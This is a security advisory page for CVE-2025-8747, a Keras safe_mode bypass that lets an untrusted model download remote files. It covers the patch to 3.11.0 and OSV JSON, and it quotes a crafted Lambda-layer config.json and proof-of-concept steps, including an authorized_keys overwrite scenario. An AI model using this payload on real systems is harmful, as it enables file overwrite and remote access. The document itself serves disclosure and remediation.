CVE-2025-8747: Keras Keras Vulnerable To CVE-2025-1550 Bypass Vulnerability

HIGH
Advisory Identifier: GHSA-c9rc-mg46-23w3
CVSS 8.8
CWE-502
Published
Advisory Summary

CVE-2025-8747 is a HIGH (CVSS 8.8) keras vulnerable to cve-2025-1550 bypass vulnerability (CWE-502: Deserialization of Untrusted Data) affecting Keras libraries in the PyPI ecosystem. The issue involves keras vulnerable to cve-2025-1550 bypass via reuse of internal functionality. Remediation is available by upgrading affected packages to version 3.11.0.

CVE-2025-8747 at a Glance

CVE Identifier CVE-2025-8747
GHSA Identifier GHSA-c9rc-mg46-23w3
Severity HIGH
CVSS v3.1 Base Score 8.8
CWE Classification CWE-502: Deserialization of Untrusted Data
Affected Product Keras
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 8.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2025-8747

To remediate this vulnerability, upgrade all affected Keras dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

keras fixed: 3.11.0
pip install keras>=3.11.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show keras

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2025-8747, inspect your installed packages using pip:

pip show keras

Analyze the terminal output to locate any version of Keras in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.11.0), your application is affected.

Note: The pip show keras command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-502: Deserialization of Untrusted Data, where the product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid. In Keras, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary It is possible to bypass the mitigation introduced in response to [CVE-2025-1550](https://github.com/keras-team/keras/security/advisories/GHSA-48g7-3x6r-xfhp), when an untrusted Keras v3 model is loaded, even when “safe_mode” is enabled, by crafting malicious arguments to built-in Keras modules. The vulnerability is exploitable on the default configuration and does not depend on user input (just requires an untrusted model to be loaded). ### Impact | Type | Vector |Impact| | -------- | ------- | ------- | |Unsafe deserialization |Client-Side (when loading untrusted model)|Arbitrary file overwrite. Can lead to Arbitrary code execution in many cases.| ### Details Keras’ [safe_mode](https://www.tensorflow.org/api_docs/python/tf/keras/models/load_model) flag is designed to disallow unsafe lambda deserialization - specifically by rejecting any arbitrary embedded Python code, marked by the “__lambda__” class name. https://github.com/keras-team/keras/blob/v3.8.0/keras/src/saving/serialization_lib.py#L641 - ``` if config["class_name"] == "__lambda__": if safe_mode: raise ValueError( "Requested the deserialization of a `lambda` object. " "This carries a potential risk of arbitrary code execution " "and thus it is disallowed by default. If you trust the " "source of the saved model, you can pass `safe_mode=False` to " "the loading function in order to allow `lambda` loading, " "or call `keras.config.enable_unsafe_deserialization()`." ) ``` A fix to the vulnerability, allowing deserialization of the object only from internal Keras modules, was introduced in the commit [bb340d6780fdd6e115f2f4f78d8dbe374971c930](https://github.com/keras-team/keras/commit/bb340d6780fdd6e115f2f4f78d8dbe374971c930). ``` package = module.split(".", maxsplit=1)[0] if package in {"keras", "keras_hub", "keras_cv", "keras_nlp"}: ``` However, it is still possible to exploit model loading, for example by reusing the internal Keras function `keras.utils.get_file`, and download remote files to an attacker-controlled location. This allows for arbitrary file overwrite which in many cases could also lead to remote code execution. For example, an attacker would be able to download a malicious `authorized_keys` file into the user’s SSH folder, giving the attacker full SSH access to the victim’s machine. Since the model does not contain arbitrary Python code, this scenario will not be blocked by “safe_mode”. It will bypass the latest fix since it uses a function from one of the approved modules (`keras`). #### Example The following truncated `config.json` will cause a remote file download from https://raw.githubusercontent.com/andr3colonel/when_you_watch_computer/refs/heads/master/index.js to the local `/tmp` folder, by sending arbitrary arguments to Keras’ builtin function `keras.utils.get_file()` - ``` { "class_name": "Lambda", "config": { "arguments": { "origin": "https://raw.githubusercontent.com/andr3colonel/when_you_watch_computer/refs/heads/master/index.js", "cache_dir":"/tmp", "cache_subdir":"", "force_download": true}, "function": { "class_name": "function", "config": "get_file", "module": "keras.utils" } }, ``` ### PoC 1. Download [malicious_model_download.keras](https://drive.google.com/file/d/1gS2I6VTTRUwUq8gBoMmvTGaN0SX1Vr8F/view?usp=drive_link) to a local directory 2. Load the model - ``` from keras.models import load_model model = load_model("malicious_model_download.keras", safe_mode=True) ``` 3. Observe that a new file `index.js` was created in the `/tmp` directory ### Fix suggestions 1. Add an additional flag `block_all_lambda` that allows users to completely disallow loading models with a Lambda layer. 1. Audit the `keras`, `keras_hub`, `keras_cv`, `keras_nlp` modules and remove/block all “gadget functions” which could be used by malicious ML models. 1. Add an additional flag `lambda_whitelist_functions` that allows users to specify a list of functions that are allowed to be invoked by a Lambda layer ### Credit The vulnerability was discovered by Andrey Polkovnichenko of the JFrog Vulnerability Research

CVE-2025-8747 Affected Keras Versions

1 component(s)
Fixed Versions:
3.11.0
Product / Package Ecosystem Affected Versions Fixed Version
keras
PyPI
≥ 3.0.0
< 3.11.0
3.11.0

References

Frequently Asked Questions

What is CVE-2025-8747?
CVE-2025-8747 is a security vulnerability in Keras involving Keras vulnerable to CVE-2025-1550 bypass via reuse of internal functionality under CWE-502: Deserialization of Untrusted Data.
Which Keras versions are affected?
Affected versions include releases prior to 3.11.0 across affected packages: keras.
What version fixes CVE-2025-8747?
Upgrading to 3.11.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is keras affected?
Yes, keras is affected in releases prior to 3.11.0. Upgrade your dependency to 3.11.0 or later.
What is the CVSS score of CVE-2025-8747?
CVE-2025-8747 has a CVSS v3.1 base score of 8.8 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2025-8747?
CVE-2025-8747 is classified under CWE-502: Deserialization of Untrusted Data (The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid.).
How can I check PyPI dependencies for CVE-2025-8747?
Run the dependency tree command: 'pip show keras'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-c9rc-mg46-23w3",
  "modified" : "2026-05-29T20:50:08Z",
  "published" : "2025-08-12T19:33:07Z",
  "aliases" : [ "CVE-2025-8747" ],
  "summary" : "Keras vulnerable to CVE-2025-1550 bypass via reuse of internal functionality",
  "details" : "### Summary\nIt is possible to bypass the mitigation introduced in response to [CVE-2025-1550](https://github.com/keras-team/keras/security/advisories/GHSA-48g7-3x6r-xfhp), when an untrusted Keras v3 model is loaded, even when “safe_mode” is enabled, by crafting malicious arguments to built-in Keras modules.\n\nThe vulnerability is exploitable on the default configuration and does not depend on user input (just requires an untrusted model to be loaded).\n\n### Impact\n\n| Type   | Vector   |Impact|\n| -------- | ------- | ------- |\n|Unsafe deserialization |Client-Side (when loading untrusted model)|Arbitrary file overwrite. Can lead to Arbitrary code execution in many cases.|\n\n\n### Details\n\nKeras’ [safe_mode](https://www.tensorflow.org/api_docs/python/tf/keras/models/load_model) flag is designed to disallow unsafe lambda deserialization - specifically by rejecting any arbitrary embedded Python code, marked by the “__lambda__” class name.\nhttps://github.com/keras-team/keras/blob/v3.8.0/keras/src/saving/serialization_lib.py#L641 -\n\n```\nif config[\"class_name\"] == \"__lambda__\":\n        if safe_mode:\n            raise ValueError(\n                \"Requested the deserialization of a `lambda` object. \"\n                \"This carries a potential risk of arbitrary code execution \"\n                \"and thus it is disallowed by default. If you trust the \"\n                \"source of the saved model, you can pass `safe_mode=False` to \"\n                \"the loading function in order to allow `lambda` loading, \"\n                \"or call `keras.config.enable_unsafe_deserialization()`.\"\n            )\n```\n\nA fix to the vulnerability, allowing deserialization of the object only from internal Keras modules, was introduced in the commit [bb340d6780fdd6e115f2f4f78d8dbe374971c930](https://github.com/keras-team/keras/commit/bb340d6780fdd6e115f2f4f78d8dbe374971c930). \n\n```\npackage = module.split(\".\", maxsplit=1)[0]\nif package in {\"keras\", \"keras_hub\", \"keras_cv\", \"keras_nlp\"}:\n```\n\nHowever, it is still possible to exploit model loading, for example by reusing the internal Keras function `keras.utils.get_file`, and download remote files to an attacker-controlled location.\nThis allows for arbitrary file overwrite which in many cases could also lead to remote code execution. For example, an attacker would be able to download a malicious `authorized_keys` file into the user’s SSH folder, giving the attacker full SSH access to the victim’s machine.\nSince the model does not contain arbitrary Python code, this scenario will not be blocked by “safe_mode”. It will bypass the latest fix since it uses a function from one of the approved modules (`keras`).\n\n#### Example \nThe following truncated `config.json` will cause a remote file download from https://raw.githubusercontent.com/andr3colonel/when_you_watch_computer/refs/heads/master/index.js to the local `/tmp` folder, by sending arbitrary arguments to Keras’ builtin function `keras.utils.get_file()` -\n\n```\n           {\n                \"class_name\": \"Lambda\",\n                \"config\": {\n                    \"arguments\": {\n                        \"origin\": \"https://raw.githubusercontent.com/andr3colonel/when_you_watch_computer/refs/heads/master/index.js\",\n                        \"cache_dir\":\"/tmp\",\n                        \"cache_subdir\":\"\",\n                        \"force_download\": true},\n                    \"function\": {\n                        \"class_name\": \"function\",\n                        \"config\": \"get_file\",\n                        \"module\": \"keras.utils\"\n                    }\n                },\n ```\n\n\n### PoC\n\n1. Download [malicious_model_download.keras](https://drive.google.com/file/d/1gS2I6VTTRUwUq8gBoMmvTGaN0SX1Vr8F/view?usp=drive_link) to a local directory\n\n2. Load the model -\n\n```\nfrom keras.models import load_model\nmodel = load_model(\"malicious_model_download.keras\", safe_mode=True)\n```\n\n3. Observe that a new file `index.js` was created in the `/tmp` directory \n\n### Fix suggestions\n1. Add an additional flag `block_all_lambda` that allows users to completely disallow loading models with a Lambda layer.\n1. Audit the `keras`, `keras_hub`, `keras_cv`, `keras_nlp` modules and remove/block all “gadget functions” which could be used by malicious ML models.\n1. Add an additional flag `lambda_whitelist_functions` that allows users to specify a list of functions that are allowed to be invoked by a Lambda layer\n\n### Credit \nThe vulnerability was discovered by Andrey Polkovnichenko of the JFrog Vulnerability Research",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "keras"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.0.0"
      }, {
        "fixed" : "3.11.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/keras-team/keras/security/advisories/GHSA-c9rc-mg46-23w3"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-8747"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/keras-team/keras/pull/21429"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/keras-team/keras/commit/713172ab56b864e59e2aa79b1a51b0e728bba858"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/keras-team/keras"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pypa/advisory-database/tree/main/vulns/keras/PYSEC-2025-75.yaml"
  }, {
    "type" : "WEB",
    "url" : "https://jfrog.com/blog/keras-safe_mode-bypass-vulnerability"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-502" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-08-12T19:33:07Z",
    "nvd_published_at" : null
  }
}